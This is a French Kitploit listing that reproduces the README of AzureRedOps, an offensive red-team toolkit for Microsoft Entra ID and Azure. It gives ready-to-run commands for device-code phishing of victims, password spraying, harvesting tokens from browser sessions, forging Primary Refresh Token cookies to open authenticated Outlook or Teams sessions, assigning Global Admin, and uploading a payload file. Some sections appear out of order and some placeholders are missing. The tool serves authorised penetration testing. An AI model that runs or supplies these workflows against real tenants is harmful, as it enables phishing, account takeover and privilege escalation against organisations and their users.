Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
AzureRedOps — Azure RedOps est une boîte à outils de sécurité offensive pour évaluer la posture de sécurité de Microsoft Entra ID. | Kitploit
Outils/GitHubGitHub/mr-un1k0d3r/azureredops
Outils de PhishingEscalade de PrivilègesReconnaissanceAttaques de Mots de PasseExploitationCollecte d'InformationsPost-ExploitationTests d'IntrusionSécurité CloudAuthentificationRed Teaming
180187il y a 2 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
mr-un1k0d3r/azureredops

AzureRedOps

Azure RedOps est une boîte à outils de sécurité offensive pour évaluer la posture de sécurité de Microsoft Entra ID.

Voir le dépôt

AzureRedOps

Un couteau suisse pour le red teaming Azure / Entra ID.

Auteur: Mr.Un1k0d3r (TrueCyber Inc) Version: 0.1 Langage: Python 3.12+


Vue d'ensemble

AzureRedOps est une boîte à outils de sécurité offensive pour évaluer la posture de sécurité des locataires Microsoft Entra ID et Azure. Il regroupe les workflows de red team les plus courants — authentification, gestion des jetons, énumération d'annuaire, vérification des privilèges, pulvérisation de mots de passe et actions de post-exploitation contre Microsoft Graph — derrière une CLI cohérente pilotée par --activity.

Chaque opération est sélectionnée avec -a/--activity. Les jetons obtenus pendant l'authentification peuvent être mis en cache localement (.azure_creds) et réutilisés par nom avec -l/--load-access-token, vous n'avez donc que rarement à coller des JWT bruts.

En savoir plus sur l'outil sur le blog CYPFER

Fonctionnalités

  • Gestion des jetons — sauvegarder, lister, décoder/afficher et supprimer les jetons d'accès/actualisation dans un magasin d'identifiants local (.azure_creds). N'importe quel flux peut enregistrer automatiquement ses jetons avec -s/--save + -n/--name.
  • Plusieurs flux d'authentification :
    • ROPC (auth) — authentification directe par nom d'utilisateur / mot de passe.
    • Hameçonnage par code d'appareil (phish-start / phish-capture) — abus de l'octroi d'autorisation d'appareil OAuth pour capturer les jetons émis lorsqu'une cible saisit votre code utilisateur sur microsoft.com/devicelogin. Capture automatique par défaut.
    • Consentement d'application tierce (auth-app) — flux complet Authorization Code + PKCE contre un enregistrement d'application personnalisé, servi par un écouteur HTTPS local intégré qui reçoit la redirection.
    • Capture interactive par navigateur (auth-interactive) — pilote un vrai navigateur (Playwright ; Firefox par défaut, -br pour changer) (gère MFA / l'accès conditionnel / le SSO), puis récolte chaque jeton de la session HAR enregistrée.

Prérequis

  • Python 3.12 ou plus (le code repose sur la syntaxe f-string PEP 701).
  • Paquets Python (voir requirements.txt) :
    • PyJWT
    • requests
    • playwright
    • cryptography (uniquement nécessaire pour browser-sso -aprt, le flux PRT automatique)
  • Un runtime navigateur Playwright pour les flux navigateur (auth-interactive, browser-sso). Firefox est le moteur par défaut (-br/--browser) ; installez-le avec python -m playwright install firefox.
  • Certificat et clé TLS à includes/web/cert.pem et includes/web/key.pem (uniquement nécessaires pour le flux PKCE auth-app — voir ).```bash

Clone the repository

git clone AzureRedOps cd AzureRedOps

Create and activate a virtual environment

python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS

.\AzureRedOps\Scripts\Activate.ps1 # Windows PowerShell

Install dependencies

pip install -r requirements.txt

Install the browser used by the browser flows (one-time).

Firefox is the default engine; install the one(s) you plan to use with -br.

python -m playwright install firefox

python -m playwright install chromium webkit # optional, for -br chromium/webkit

python -m playwright install-deps # Linux/WSL: pull system libs

root@kitploit:~
Exécutez l'outil :```bash
python3 AzureRedOps.py -a <activity> [options]

Utilisation

Le modèle d'invocation générale est :```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]

root@kitploit:~
### Fournir un jeton

Les activités qui appellent Microsoft Graph nécessitent un jeton d'accès. Vous pouvez le fournir de deux manières :

| Méthode | Option | Exemple |
|--------|------|---------|
| Fournir un jeton brut | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| Charger un jeton en cache par nom | `-l, --load-access-token` | `-l mytoken` |

Lorsque `-l` est utilisé, le `access_token` correspondant (et, le cas échéant, `refresh_token`
et `tenant`) est lu depuis le magasin `.azure_creds`.

### Enregistrer les jetons dans un fichier (`-s` / `-n`)

Toute activité qui obtient des jetons (`auth`, `auth-app`, `auth-interactive`,
`phish-start`/`phish-capture`, `refresh`) peut **les conserver automatiquement** dans le
magasin local d'informations d'identification (`.azure_creds`) en ajoutant `-s/--save` avec
`-n/--name` :```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
  • -s/--save active la sauvegarde automatique ; cela nécessite -n/--name — l'outil se termine avec une erreur si -n est manquant.
  • -n/--name est la clé sous laquelle le jeton est stocké. Vous pouvez ensuite le réutiliser avec -l victim1 au lieu de coller le JWT brut, le visualiser avec -a view -n victim1, ou le supprimer avec -a delete -n victim1.
  • L'activité auth-interactive effectue toujours une sauvegarde automatique et vous demandera un nom de manière interactive si -n n'est pas fourni.

Enregistrement de la sortie de l'activité dans un fichier (-j)

La plupart des activités d'énumération (list-users, list-applications, list-principals, gather-all, raw-url) acceptent -j/--json <filename> pour écrire la réponse brute de l'API dans un fichier JSON au lieu de (ou en plus de) l'afficher :```bash

Dump every user to users.json

python3 AzureRedOps.py -a list-users -l victim1 -j users.json

root@kitploit:~
Pour `gather-all`, le nom de fichier fourni est utilisé comme suffixe et un fichier est écrit
par point de terminaison Graph (p. ex. `users-<name>`, `groups-<name>`, ...).

> Astuce : `-j` contrôle l'export JSON structuré, tandis que `-re/--redirect-to-file` réplique
> la sortie console formatée vers `output.txt`. Les deux sont indépendants.

### Identifiants du locataire

- `-t, --tenant` attend un **nom de domaine** (p. ex. `contoso.com`) et est utilisé par l'activité `id`.
- `-tid, --tenant-id` attend un **GUID de locataire** ou `common`, utilisé par les activités d'authentification.

---

## Options de ligne de commande

| Option courte | Option longue | Défaut | Description |
|-------|------|---------|-------------|
| `-a` | `--activity` | `id` | **(requis)** Activité à effectuer (voir [Activités](#activities)). |
| `-ac` | `--access-token` | | Jeton d'accès Azure. |
| `-n` | `--name` | | Nom utilisé pour enregistrer/charger un jeton, ou nom d'affichage pour `register-app`/`new-group`/`invite`. |
| `-t` | `--tenant` | | Nom de **domaine** du locataire Azure (utilisé par `id`). |
| `-c` | `--devicecode` | | Code d'appareil (utilisé par `phish-capture`). |
| `-tid` | `--tenant-id` | | **ID** du locataire Azure (GUID) ou `common`. |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | ID d'application (client). |
| `-e` | `--endpoint` | `microsoftonline.com` | Domaine du point de terminaison de connexion à cibler. |
| `-r` | `--refresh-token` | | Jeton d'actualisation d'authentification. |
| `-as` | `--auto-start` | `True` | Démarrer automatiquement la capture du code d'appareil après `phish-start`. |
| `-l` | `--load-access-token` | | Charger un jeton mis en cache par son nom depuis `.azure_creds`. |
| `-j` | `--json` | | Enregistrer la sortie de l'activité dans le fichier JSON indiqué. |
| `-fl` | `--filter` | | N'afficher que les attributs dont la clé correspond à l'une de celles-ci (séparées par des virgules). |
| `-u` | `--username` | | Nom d'utilisateur principal (e-mail). |
| `-p` | `--password` | | Mot de passe de l'utilisateur. |
| `-s` | `--save` | `False` | Enregistrer automatiquement les jetons obtenus dans `.azure_creds` (**nécessite `-n`**). |
| `-cp` | `--check-privileges` | `False` | Après une connexion par pulvérisation réussie, sonder si les utilisateurs/applications peuvent être énumérés. |
| `-uid` | `--uid` | | ID d'objet utilisateur Azure (utilisé par `add-group`). |
| `-headers` | `--headers` | | En-têtes HTTP supplémentaires au format JSON, p. ex. `{"X-Foo": "bar"}`. |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | Rôle d'annuaire / ID de groupe (défaut = **Administrateur général**). |
| `-i` | `--id` | `False` | Pour `interest` : n'afficher que les ID d'application. |
| `-ty` | `--type` | | Pour `interest` : filtrer selon une catégorie spécifique. |
| `-fp` | `--filepath` | | Fichier à téléverser (`push-file`) ou liste d'applications personnalisée pour la pulvérisation. |
| `-v` | `--version` | `v2.0` | Version de l'API d'authentification : `v0` ou `v2.0`. |
| `-ua` | `--user-agent` | *(Chrome UA string)* | Remplacer le `User-Agent` HTTP. |
| `-au` | `--audience` | `https://graph.microsoft.com` | Audience/ressource du jeton. |
| `-sc` | `--scope` | `openid offline_access` | Portée OAuth2. Utiliser `https://graph.microsoft.com/.default` pour Graph, `openid` pour la pulvérisation. |
| `-url` | `--url` | | URL cible pour `raw-url`/`invite` ; liste d'URL séparées par des virgules pour `auth-interactive`. |
| `-beta` | `--beta` | `False` | Utiliser le point de terminaison **bêta** de Microsoft Graph pour `list-users`/`list-applications`. |
| `-exp` | `--expand` | `False` | Développer les listes/dictionnaires imbriqués dans la sortie en un format lisible. |
| `-k` | `--keep` | `False` | Conserver le fichier `session.har` après `auth-interactive` / `browser-sso`. |
| `-cs` | `--client-secret` | | Secret client confidentiel utilisé par l'octroi `obo` (On-Behalf-Of). |
| `-prt` | `--prt-cookie` | | Valeur du cookie PRT (`x-ms-RefreshTokenCredential`) afin d'amorcer le SSO du navigateur pour `browser-sso`. |
| `-br` | `--browser` | `firefox` | Moteur de navigateur Playwright pour les flux de navigateur (`auth-interactive`, `browser-sso`). L'un de `firefox`, `chromium`, `webkit`. |
| `-aprt` | `--auto-prt` | `False` | Pour `browser-sso` : générer automatiquement un cookie PRT à partir du jeton d'actualisation (enregistrement de l'appareil → PRT → `x-ms-RefreshTokenCredential`) afin que le navigateur s'ouvre **déjà authentifié**. Nécessite `cryptography` et un jeton d'actualisation FOCI/broker. |
| `-d` | `--debug` | `False` | Activer la journalisation de débogage. |
| `-dd` | `--verbose-debug` | `False` | Activer la journalisation détaillée des requêtes/réponses HTTP. |
| `-re` | `--redirect-to-file` | `False` | Répliquer toute la sortie console vers `output.txt`. |

---

## Activités

Ci-dessous, chaque activité liste ses arguments **requis** et *optionnels*.
« Jeton » signifie que `-ac` ou `-l` est requis.

### Gestion des jetons

| Activité | Requis | Optionnel | Description |
|----------|----------|----------|-------------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | Enregistrer un jeton d'accès (et éventuellement d'actualisation) dans `.azure_creds`. |
| `list-token` | — | — | Lister les noms de tous les jetons enregistrés. |
| `view` | `-n` | — | Décoder et afficher les revendications JWT d'un jeton enregistré. |
| `delete` | `-n` | — | Supprimer un jeton enregistré du dépôt. |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>

# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken

Découverte du tenant et authentification

Resolve a tenant ID from a domain

python3 AzureRedOps.py -a id -t contoso.com

Device-code phishing (auto-capture is on by default)

python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c

Capture later with a previously issued device code

python3 AzureRedOps.py -a phish-capture -c -tid common

Username / password (ROPC)

python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid

Interactive browser capture, saving tokens automatically

python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested

Refresh a saved token

python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c

On-Behalf-Of: exchange an issued token for a Graph-scoped token

python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com

Convert an issued token into an Outlook-on-the-web session and open it in a browser

python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt

root@kitploit:~
#### Comment fonctionnent les flux d'authentification

AzureRedOps implémente plusieurs manières distinctes d'obtenir des jetons. Choisissez celle qui correspond à votre engagement ; toutes respectent `-s/-n` pour enregistrer automatiquement le résultat.

##### Hameçonnage par code d'appareil (`phish-start` / `phish-capture`)

Le **flux d'autorisation d'appareil** OAuth 2.0 est conçu pour les appareils à saisie limitée, ce qui en fait une primitive d'hameçonnage puissante : vous demandez un code au nom d'une application Microsoft propriétaire, puis vous amenez une cible par ingénierie sociale à saisir ce code sur `https://microsoft.com/devicelogin` alors qu'elle est connectée à son compte. Une fois qu'elle l'a fait, les jetons sont émis **pour vous**.

- `phish-start` demande un code d'appareil et affiche le **code utilisateur**, l'URL de connexion et le **code d'appareil** brut. Comme `-as/--auto-start` a `True` par défaut, il commence immédiatement à interroger le point de terminaison pour obtenir le jeton — donc il suffit généralement d'exécuter `phish-start` et de transmettre le code utilisateur à la cible.
- `phish-capture` est la contrepartie manuelle : fournissez-lui un code d'appareil obtenu précédemment avec `-c/--devicecode` et il interroge le point de terminaison du jeton jusqu'à ce que la victime termine la connexion (l'outil réessaie silencieusement tant que l'autorisation est en attente).
- Utilisez `-app/--appid` pour usurper l'identité d'un client propriétaire spécifique et `-tid/--tenant-id` pour limiter à un locataire (`common` par défaut). Astuce : définissez le champ d'application sur `'https://graph.microsoft.com/.default offline_access openid'` pour obtenir un jeton prêt pour Graph avec un jeton d'actualisation.```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished

# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
Consentement d'application tierce (auth-app)

auth-app exécute un flux de code d'autorisation complet avec PKCE contre un enregistrement d'application tiers (non par défaut). L'outil démarre un écouteur HTTPS local (includes/Webserver.py, sur https://localhost:2342) qui agit comme URI de redirection OAuth, génère la paire PKCE code_verifier/code_challenge et affiche une URL d'autorisation à ouvrir dans un navigateur. Après votre consentement, Azure redirige le code d'autorisation vers l'écouteur local, que l'outil échange ensuite contre des jetons.

C'est le flux à utiliser lorsque vous contrôlez (ou avez enregistré) une application et souhaitez piloter le consentement via une véritable session de navigateur — utile pour les scénarios de type consentement illicite ou lorsque ROPC est bloqué.

  • Nécessite une paire certificat/clé TLS dans includes/web/cert.pem et includes/web/key.pem (voir Notes pour savoir comment les générer).
  • L'ID de client par défaut pour ce flux est 8545b2fc-a69c-4851-9206-0f74a519fe5f.```bash python3 AzureRedOps.py -a auth-app -tid -s -n consented
root@kitploit:~
##### Interactive browser authentication (`auth-interactive`)

`auth-interactive` lance un **vrai navigateur via Playwright** (Firefox par défaut ; choisissez
le moteur avec `-br/--browser`) et permet à
l'opérateur (ou à une cible sur une session partagée) de compléter une connexion interactive — y compris
MFA, l'accès conditionnel et les redirections fédérées/SSO que les flux scriptés ne peuvent pas
satisfaire. Toute la session navigateur est enregistrée dans un fichier HAR (`session.har`) ; l'outil
analyse ensuite cette capture, extrait **chaque** paire de jetons d'accès/actualisation vue sur le
point de terminaison `/oauth2/v2.0/token`, décode chaque JWT, et vous permet de choisir lesquels
enregistrer.

- `-url/--url` définit la ou les pages à ouvrir après le chargement de la page de connexion. Il accepte une
  **liste séparée par des virgules** d'URL (par ex. `https://portal.azure.com,https://outlook.office.com`)
  afin que vous puissiez collecter des jetons pour plusieurs ressources en une seule session. La valeur par défaut est
  `https://portal.azure.com`.
- Cette activité **se sauvegarde toujours automatiquement** : après la récolte, elle demande quel(s) index de jeton
  conserver et un nom sous lequel les stocker.
- Ajoutez `-k/--keep` pour préserver `session.har` pour une analyse hors ligne (il est supprimé par
  défaut).```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
Échange de jeton On-Behalf-Of (obo)

obo implémente le flux OAuth 2.0 On-Behalf-Of (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer). Il prend un jeton d'accès déjà émis comme assertion et l'échange contre un tout nouveau jeton ciblant une ressource aval différente — sans réauthentifier l'utilisateur.

  • Le jeton d'assertion est fourni avec -ac/--access-token ou un jeton en cache via -l/--load-access-token.
  • -app/--appid + -cs/--client-secret identifient le client confidentiel effectuant l'échange. Entra ID exige que ce client soit l'audience (aud) du jeton d'assertion ; une discordance échoue avec AADSTS500131/AADSTS50013.
  • La ressource cible est définie avec -au/--audience (par défaut https://graph.microsoft.com, transformée en <audience>/.default) ou une portée complète avec -sc/--scope.
  • Le jeton résultant (et le jeton d'actualisation, le cas échéant) est affiché et respecte -s/-n.```bash

Exchange an issued token for a Microsoft Graph token on behalf of the user

python3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph

root@kitploit:~
##### Authentification unique du jeton au navigateur (`browser-sso`)

`browser-sso` ouvre un **vrai navigateur déjà authentifié en tant qu’utilisateur** — vous ne cliquez sur rien et arrivez directement, par exemple, dans **Outlook sur le web**. C’est le flux « ouvrez simplement le navigateur et obtenez une session valide ». Le navigateur obtient sa session de l’une des trois manières suivantes, par ordre de préférence :

**1. `-aprt/--auto-prt` — génération automatique d’un cookie PRT (recommandé).**
Le refresh token est transformé par l’outil en **Primary Refresh Token (PRT)** et en cookie navigateur, puis injecté pour qu’ESTS d’Entra termine l’authentification unique sans connexion manuelle. La chaîne (dans `includes/PRT.py`, le protocole ROADtoken / roadtx / AADInternals) est la suivante :

1. Échanger le refresh token contre un jeton **d’enregistrement d’appareil (DRS)**.
2. **Enregistrer un appareil** auprès d’Azure AD → certificat d’appareil + clé de transport.
3. Demander un **PRT + clé de session** avec le refresh token, signé par le certificat de l’appareil.
4. **Dériver le cookie `x-ms-RefreshTokenCredential`** (KDFv2 : SP800-108 KDF sur `SHA256(ctx‖decoded-payload-bytes)` → JWT signé HS256 ; KDFv1 → `AADSTS5000611`, octets incorrects → `AADSTS50058`) et l’injecter dans un nouveau contexte de navigateur.

Le cookie est injecté avec `SameSite=None` et consommé via un **préchauffage `/authorize` ESTS de niveau supérieur** (le client Office `landingv2`) afin que le cookie de session `ESTSAUTH` soit émis en tant que cookie de première partie — après quoi l’application cible s’ouvre déjà connectée. Le cookie est dérivé avec un nouveau nonce juste avant la navigation et réessayé une fois ; si l’authentification unique ne peut toujours pas aboutir, l’outil sonde `prompt=none` et affiche la raison exacte `AADSTS` (par exemple, un accès conditionnel exigeant un appareil conforme/géré, ou une MFA — aucune de ces deux n’est contournable avec un appareil fraîchement enregistré).

Le PRT, la clé de session et le cookie sont affichés (avec une indication `-prt "<value>"` prête à coller) afin que vous puissiez les réutiliser plus tard sans relancer la chaîne.

> **Exigences et opsec pour `-aprt` :**
> - Nécessite le paquet **`cryptography`** (`pip install cryptography` ; il est dans `requirements.txt`).
> - Le refresh token doit appartenir à un client **FOCI / broker** — par exemple, un capturé par **hameçonnage par code d’appareil du Microsoft Authentication Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`), ce qui est exactement ce que produit le leurre de code d’appareil SharePoint/OneDrive. L’`-app` par défaut (client FOCI Microsoft Office) fonctionne également.
> - **L’enregistrement d’appareil écrit un objet appareil dans le tenant** — il n’est pas silencieux et laisse un artefact (et exige que l’utilisateur soit autorisé à joindre/enregistrer des appareils).

**2. `-prt/--prt-cookie` — injecter un cookie PRT que vous possédez déjà.**
Si vous détenez déjà une valeur `x-ms-RefreshTokenCredential` (issue d’une exécution précédente de `-aprt`, ou d’un hôte compromis via `ROADtoken`/`browsercore` ou `Mimikatz`), transmettez-la directement et ignorez la chaîne de génération.

**3. Ni l’un ni l’autre — convertir le jeton et se connecter manuellement (secours).**
Sans cookie PRT, le refresh token est échangé contre un jeton d’accès/refresh limité à une ressource (affiché et enregistré avec `-s/-n`), et le navigateur est ouvert sur la cible pour que vous terminiez la connexion à la main.

**Collecte du PRT / des cookies de session.** Lorsque la session du navigateur se termine (délai de fermeture automatique ou vous fermez la fenêtre), `browser-sso` lit le contexte du navigateur actif et **affiche chaque cookie SSO réutilisable qui a été émis** — le cookie PRT (`x-ms-RefreshTokenCredential`) et les cookies de session ESTS (`ESTSAUTH`, `ESTSAUTHPERSISTENT`, ...) — chacun avec une indication `-prt` prête à coller pour que vous puissiez les rejouer la prochaine fois. Les cookies sont interrogés pendant que la session est active, donc la valeur est capturée même si vous fermez la fenêtre prématurément. La même collecte est effectuée à la fin de `auth-interactive`.

- `-url/--url` sélectionne la cible. Utilisez un préréglage pratique — `outlook`, `office`, `teams`, `sharepoint`, `onedrive`, `portal`, `graph` — ou passez une ou plusieurs URL `https://` brutes (séparées par des virgules). La valeur par défaut est `outlook`.
- `-r/--refresh-token` + `-tid` (ou un `-l` mis en cache) fournit le refresh token. `-app/--appid` utilise par défaut le client FOCI Microsoft Office.
- `-br/--browser` choisit le moteur Playwright (Firefox par défaut).
- `-k/--keep` conserve l’enregistrement `session.har` de la session du navigateur.```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt

# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>

# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k

Opérations Microsoft Graph

Who am I?

python3 AzureRedOps.py -a self -l mytoken

Enumerate users (beta endpoint, save to JSON, only show some fields)

python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName

Register an application

python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken

Assign Global Admin to a user

python3 AzureRedOps.py -a add-group -uid -l mytoken

Upload a file to OneDrive

python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken

Query an arbitrary Graph URL

python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken

Invite an external user

python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken

Hunt for exploitable public apps

python3 AzureRedOps.py -a magic-app -l mytoken

root@kitploit:~
### Pulvérisation de mots de passe

| Activité | Requis | Optionnel | Description |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | Pulvérise des identifiants contre les ID d'applications first-party connus (API v0 + v2.0). |
| `spray-refresh` | `-v`, et (`-l`) **ou** (`-r` + `-tid`) | `-fp`, `-cp` | Rejoue un jeton d'actualisation sur de nombreux ID d'applications. |

Par défaut, les deux activités utilisent `includes/auth_apps.json` comme source d'applications ; remplacez-la avec `-fp`. Ajoutez `-cp` pour tester si chaque connexion réussie peut énumérer les utilisateurs/applications.```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp

# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0

Intelligence et découverte

root@kitploit:~
---

## Sortie et fichiers générés

| Fichier | Créé par | Description |
|------|-----------|-------------|
| `.azure_creds` | Activités de sauvegarde de jetons | Cache JSON local des jetons d'accès/actualisation, indexé par nom. |
| `output.txt` | Option `-re` | Miroir horodaté de toute la sortie console. |
| `session.har` | `auth-interactive` / `browser-sso` | Enregistrement de session navigateur (supprimé sauf si `-k` est défini). |
| `<name>.json` | Option `-j` / `gather-all` | Réponses API enregistrées. |

### Fichiers de données inclus

| Fichier | Description |
|------|-------------|
| `includes/auth_apps.json` | Identifiants d'application cibles utilisés pour le spraying et les listes `interest`. |
| `includes/apps.json` | Identifiants d'applications Microsoft connus et métadonnées pour `knownids`. |
| `includes/Webserver.py` | Listener HTTPS local implémentant la redirection PKCE pour `auth-app`. |
| `includes/PRT.py` | Chaîne de génération de PRT (enregistrement d'appareil → PRT → cookie `x-ms-RefreshTokenCredential`) utilisée par `browser-sso -aprt`. |
| `includes/web/cert.pem`, `includes/web/key.pem` | Matériel TLS pour le listener local. |

---

## Remarques et astuces

- **ID d'application par défaut** (`d3590ed6-52b3-4102-aeff-aad2292ab01c`) est le client
  propriétaire Microsoft Office, qui fonctionne pour la plupart des flux. Les astuces affichées par certaines activités
  suggèrent d'étendre les jetons à l'application **Microsoft Azure CLI** (`04b07795-8ddb-461a-bbee-02f9e1bf7b46`)
  pour un accès plus large.
- **Conseils sur les scopes :** utilisez `-sc openid` pour le password spraying et
  `-sc 'https://graph.microsoft.com/.default'` pour les opérations Graph.
- **`--beta`** bascule `list-users` / `list-applications` vers le point de terminaison beta de Graph,
  ce qui peut révéler des informations supplémentaires (par exemple, les attributs de synchronisation sur site).
- **`auth-app` TLS :** le listener PKCE local nécessite une paire certificat/clé dans
  `includes/web/cert.pem` et `includes/web/key.pem`. Générez une paire auto-signée si
  elles sont absentes, par exemple :  ```bash
  openssl req -x509 -newkey rsa:2048 -nodes \
    -keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
  • Débogage : -d affiche des informations de débogage de haut niveau ; -dd déverse toutes les requêtes et réponses HTTP (en-têtes + corps) — utile pour diagnostiquer les échanges de jetons ayant échoué.
  • Moteur de navigateur (-br/--browser). Les flux navigateur (auth-interactive, browser-sso) exécutent un navigateur Playwright avec interface. Le moteur par défaut est firefox (le moteur avec interface le plus fiable sous WSLg) ; changez avec -br chromium ou -br webkit. Installez une fois le moteur choisi avec python -m playwright install <engine>.
  • Playwright sur WSL — fenêtre vide / gel complet de la machine. Sous WSL/WSLg, un navigateur avec interface peut s'ouvrir vide et ne jamais s'afficher pendant que tout l'hôte se fige. Cause racine : WSLg expose un GPU virtualisé (/dev/dxg, piloté par le driver Mesa d3d12) que le processus GPU/compositeur du navigateur tente d'utiliser, alors que le /dev/shm par défaut de la VM WSL est minuscule (souvent 64 Mo). Les deux se combinent — le processus GPU tourne en boucle sur un périphérique qu'il ne peut pas piloter et le compositeur en mémoire partagée épuise — donc rien ne s'affiche et la VM gonfle jusqu'à ce que l'hôte Windows sature. Un facteur secondaire était : la page de connexion Microsoft utilise le long-polling, donc ne se déclenche jamais et la navigation reste bloquée sur une page vide jusqu'à l'expiration du délai.

Crédits

Créé par Mr.Un1k0d3r — TrueCyber Inc.

Télécharger l’outil
  • Échange de jeton d'actualisation (refresh) — échangez un jeton d'actualisation contre de nouveaux jetons d'accès.
  • Octroi On-Behalf-Of (obo) — échangez un jeton d'accès déjà émis contre un nouveau jeton ciblé sur une ressource en aval (OAuth 2.0 jwt-bearer / OBO).
  • SSO jeton-vers-navigateur (browser-sso) — ouvrez un vrai navigateur déjà authentifié en tant qu'utilisateur directement dans l'application web cible (Outlook sur le web, Teams, SharePoint, le portail Azure, ...). Avec -aprt/--auto-prt, il génère automatiquement un cookie Primary Refresh Token (PRT) à partir d'un jeton d'actualisation (enregistrement de l'appareil → PRT → x-ms-RefreshTokenCredential), pour qu'un nouveau navigateur réalise l'authentification unique sans connexion manuelle.
  • Énumération d'annuaire via Microsoft Graph — utilisateurs, applications, principaux de service, stratégies d'autorisation et un collecteur groupé gather-all.
  • Pulvérisation de mots de passe contre les ID d'applications Microsoft first-party connus (spray) et pulvérisation inter-applications de jetons d'actualisation (spray-refresh).
  • Post-exploitation — enregistrer des applications, créer des groupes, attribuer des rôles d'annuaire, inviter des utilisateurs externes (invités) et téléverser des fichiers vers OneDrive.
  • Aides à la reconnaissance — magic-app trouve les applications redirigeables publiquement avec le consentement AllPrincipals ; listes intégrées d'ID d'applications Microsoft connues/intéressantes.
  • Qualité de vie — bascule d'endpoint bêta, en-têtes personnalisés, user-agent/portée/audience personnalisés, filtrage d'attributs, sortie étendue, journalisation HTTP de débogage/détaillée et redirection de la sortie vers un fichier.
  • Notes
    ActivitéRequisFacultatifDescription
    id-t—Résolvez l'ID du tenant pour un domaine d'e-mail donné.
    phish-start—-app, -tid, -as, -s, -nDémarrez un flux de code d'appareil; affiche le code utilisateur et (par défaut) capture automatiquement.
    phish-capture-c-app, -tid, -s, -nInterrogez le serveur pour obtenir des jetons à l'aide d'un code d'appareil émis précédemment.
    auth-u, -p, -tid, -app, -v-s, -nAuthentifiez-vous avec nom d'utilisateur/mot de passe (ROPC).
    auth-app-tid-s, -nFlux de code d'autorisation + PKCE via un écouteur HTTPS local.
    auth-interactive—-url, -k, -nLancez un navigateur (Playwright), laissez l'utilisateur se connecter et collectez les jetons à partir du HAR de la session. Sauvegarde toujours automatiquement.
    refresh-v, -app, et (-l) ou (-r + -tid)-s, -nÉchangez un jeton d'actualisation contre un nouveau jeton d'accès.
    obo-tid, -app, et (-ac) ou (-l)-cs, -au, -sc, -s, -nOn-Behalf-Of: échangez un jeton d'accès émis contre un jeton à portée d'une autre ressource.
    browser-sso-app, et (-l) ou (-r + -tid)-aprt, -url, -prt, -v, -k, -s, -nOuvrez un navigateur déjà authentifié en tant qu'utilisateur. Ajoutez -aprt pour générer automatiquement un cookie PRT à partir du jeton d'actualisation, injectez-en un prêt avec -prt, ou utilisez en dernier recours la conversion du jeton + connexion manuelle.
    ActivitéRequisFacultatifDescription
    selfToken—Afficher le profil de l'utilisateur actuel (/me).
    emailToken, -fl—Rechercher un mot-clé dans la boîte aux lettres de l'utilisateur connecté.
    permissionToken—Afficher la politique d'autorisation du locataire (beta).
    list-usersToken-j, -beta, -fl, -expÉnumérer tous les utilisateurs.
    list-applicationsToken-j, -beta, -fl, -expÉnumérer toutes les applications.
    list-principalsToken-j, -fl, -expÉnumérer tous les principaux de service.
    register-appToken, -n—Enregistrer une nouvelle application (avec un secret client d'un an).
    new-groupToken, -n—Créer un nouveau groupe de sécurité.
